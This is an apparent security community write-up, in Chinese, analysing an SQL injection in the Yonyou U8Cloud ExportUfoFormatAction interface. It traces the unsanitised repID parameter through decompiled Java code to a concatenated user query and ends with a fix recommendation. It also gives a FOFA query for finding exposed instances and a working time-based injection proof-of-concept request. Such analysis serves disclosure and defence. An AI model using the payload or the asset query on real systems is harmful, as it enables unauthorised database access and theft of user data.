奇安信攻防社区-用友 U8Cloud ExportUfoFormatAction SQL注入漏洞分析

用友 U8Cloud ExportUfoFormatAction SQL注入漏洞分析

U8cloud系统ExportUfoFormatAction接口存在SQL注入漏洞，攻击者未经授权可以访问数据库中的数据，从而盗取用户数据，造成用户信息泄露。

一、漏洞简介
------

U8cloud系统 `ExportUfoFormatAction`接口存在SQL注入漏洞，攻击者未经授权可以访问数据库中的数据，从而盗取用户数据，造成用户信息泄露。

二、影响版本
------

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

三、漏洞原理分析
--------

漏洞位于 `ExportUfoFormatAction`接口处，文件路径为nc.ui.iuforeport.rep.ExportUfoFormatAction.class

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102068867-ac6191a0-1e71-4f2b-8df4-064a5bce9d8b.png)

关键代码：

```php
    public String createFile(IUFOAction action) {
        String strRepId = this.getRequestParameter("repID");
        if (SQLInjValidator.sqlInj(strRepId)) {
            throw new WebException("invalid parameter");
        } else {
            ReportVO repVO = (ReportVO)IUFOUICacheManager.getSingleton().getReportCache().get(strRepId);
            if (repVO == null) {
                throw new WebException("miufo1003821");
            } else {
                String strFileName = repVO.getReportPK() + "_ufo.xml";
                String strFilePath = this.getFileServPath(action) + File.separator;
                String strZipName = repVO.getReportPK() + "_ufo.zip";
                String strCheckZip = this.getRequestParameter("checkzip");
                boolean bZip = strCheckZip != null && Boolean.valueOf(strCheckZip);
                String strLoginUnitId = this.getCurUserInfo().getUnitId();
                this.saveAsFile(repVO, strFilePath, strFileName, bZip, strZipName, strLoginUnitId);
                return bZip ? strZipName : strFileName;
            }
        }
    }
```

调用`get`方法,跟进一下

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102265398-d2eb9c38-8057-413f-89b6-38c0177f4a2a.png)

代码如下：

```php
public ICacheObject get(String id) {
    if (id != null && this.getCacheObjName() != null) {
        RefreshedObjDesc obj = null;
        ICacheObject result = null;
        ICacheObject tempObj = this.m_cacheStore.getRealCacheObj(id);
        obj = (RefreshedObjDesc)this.m_cacheStore.getLWCacheObj(id);
        if (tempObj == null && obj == null) {
            try {
                result = this.getCacheObjByProxy(id);
            } catch (Exception var7) {
                Exception e = var7;
                AppDebug.debug(e);
            }
        } else if (obj != null) {
            if (this.getProxy() != null) {
                ICacheObject[] objs = null;

try {
                    objs = this.getProxy().loadDatas(new String[]{id});
                    if (objs == null || objs.length == 0) {
                        this.beforeInnerRemove(id);
                        this.innerRemove(id);
                        return null;
                    }
```

之后进入loadDatas方法，继续带入参数

发现跳转到一个接口文件，找它的实现类

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102446473-d4198bc2-8263-4a5d-aa1f-6c0fc2335324.png)

继续跟进

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102481922-06c2b098-7e95-40ed-aebd-9eb32e36abcd.png)

再跟进

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102550273-95992af9-325a-44a3-9d60-5357339e7200.png)

进入lodeUsers方法中，发现又跳转到接口文件，接着找实现类

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102591808-89b65aec-ecd3-4320-bde2-70cf1cacb541.png)

再跟进，找到关键代码

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754102635320-355216d4-50ac-4176-bce3-30a74b6cf57d.png)

代码如下，方法中使用拼接的SQL语句：`user_id in (repID)`导致了最终的SQL注入

```php
    public UserInfoVO[] loadUsers(String[] strUserIds) throws SQLException {
        Connection con = null;
        Statement staCon = null;
        ResultSet rs = null;
        StringBuffer sbSqlUser = new StringBuffer("select  user_id,user_name,user_code,password,role,unit_id,email,cell,islocked ,ex_prop1,ex_prop2,ex_prop3,ex_prop4,ex_prop5,ex_prop6,ex_prop7,ex_prop8,ex_prop9,ex_prop10 from iufo_userInfo");
        sbSqlUser.append(" WHERE user_id in  (");
        String strSqlUser = sbSqlUser.toString();
        String headSQL = strSqlUser;
        List<String> loadSQLs = new ArrayList(10);
        int nCounter = 0;

for(int i = 0; i < strUserIds.length; ++i) {
            strSqlUser = strSqlUser + "'" + strUserIds[i] + "'";
            ++nCounter;
            if (nCounter != 500 && i != strUserIds.length - 1) {
                strSqlUser = strSqlUser + ",";
            }
```

此处可以使用`')`来闭合语句，执行任意的恶意SQL语句，造成敏感信息泄露

四、总结
----

U8cloud系统 `ExportUfoFormatAction`接口的方法中拼接SQL语句造成了SQL注入漏洞，攻击者可以构造任意的repID参数，执行恶意的SQL语句。

五、资产测绘
------

FOFA语法

```php
app="用友-U8-Cloud"
```

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1753847086288-d1d4e6ef-0abf-4bac-affd-9e4d5f75faab.png)

六、漏洞复现
------

POC

```php
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host: url
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
```

延时注入5秒

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1754101903583-f1ed33b0-e8db-42d9-8c59-0f51bea0171b.png)

七、修复建议
------

安装用友U8cloud最新的补丁，或修改对应方法中拼接SQL语句的问题，使用占位符避免用户输入的参数注入到SQL语句当中。

发表于 2025-08-19 09:00:01
阅读 ( 165 )
分类：CMS

用友 U8Cloud ExportUfoFormatAction SQL注入漏洞分析

0 条评论